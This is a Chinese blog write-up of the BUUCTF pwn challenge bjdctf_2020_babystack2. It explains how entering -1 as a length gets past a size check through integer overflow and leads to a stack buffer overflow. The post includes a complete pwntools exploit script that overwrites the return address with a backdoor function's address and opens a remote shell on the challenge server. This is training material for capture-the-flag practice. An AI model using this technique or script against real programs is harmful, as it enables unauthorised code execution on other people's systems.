[BUUCTF-pwn]——bjdctf_2020_babystack2

最新推荐文章于 2023-04-12 15:30:31 发布

Y-peak

最新推荐文章于 2023-04-12 15:30:31 发布

阅读量197

点赞数 1

分类专栏： # BUUCTF # 整数溢出

本文链接：https://blog.csdn.net/Y_peak/article/details/113954766

版权

BUUCTF 同时被 2 个专栏收录

89 篇文章 8 订阅

订阅专栏

整数溢出

4 篇文章 0 订阅

订阅专栏

该博客介绍了如何在CTF比赛中利用整型溢出漏洞来绕过长度检查，实现栈溢出攻击。通过输入-1（相当于一个大的数字）作为字符串长度，可以触发栈溢出，并进一步注入shellcode。文章提供了exploit代码，展示了如何构造payload来执行特定的shell地址。

摘要由CSDN通过智能技术生成

[BUUCTF-pwn]——bjdctf_2020_babystack2

题目地址： https://buuoj.cn/challenges#bjdctf_2020_babystack2

先checksec一下
在这里插入图片描述
在IDA中查看一下，注意想要栈溢出，首先需要nbytes足够大。size_t类型在标准C语言库中，是unsigned int类型， 64位 long unsigned int。
而%d 是按照int类型读取的，我们读入-1。其实就相当于一个很大的数字，但是可以绕过检查。具体可以了解下整型溢出
在这里插入图片描述

exploit

from pwn import *
p = remote("node3.buuoj.cn",25718)
shell_addr = 0x0400726
p.sendlineafter('[+]Please input the length of your name:\n','-1')
p.recv()
payload = '\x39'*(0x10 + 0x8) + p64(shell_addr)
p.send(payload)
p.interactive()

Y-peak

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
[BUUCTF-pwn]——bjdctf_2020_babystack2

[BUUCTF-pwn]——bjdctf_2020_babystack2题目地址： https://buuoj.cn/challenges#bjdctf_2020_babystack2先checksec一下在IDA中查看一下，注意想要栈溢出，首先需要nbytes足够大。size_t类型在标准C语言库中，是unsigned int类型， 64位 long unsigned int。而%d 是按照int类型读取的，我们读入-1。其实就相当于一个很大的数字，但是可以绕过检查。具体可以了解下整型溢出
复制链接

扫一扫

专栏目录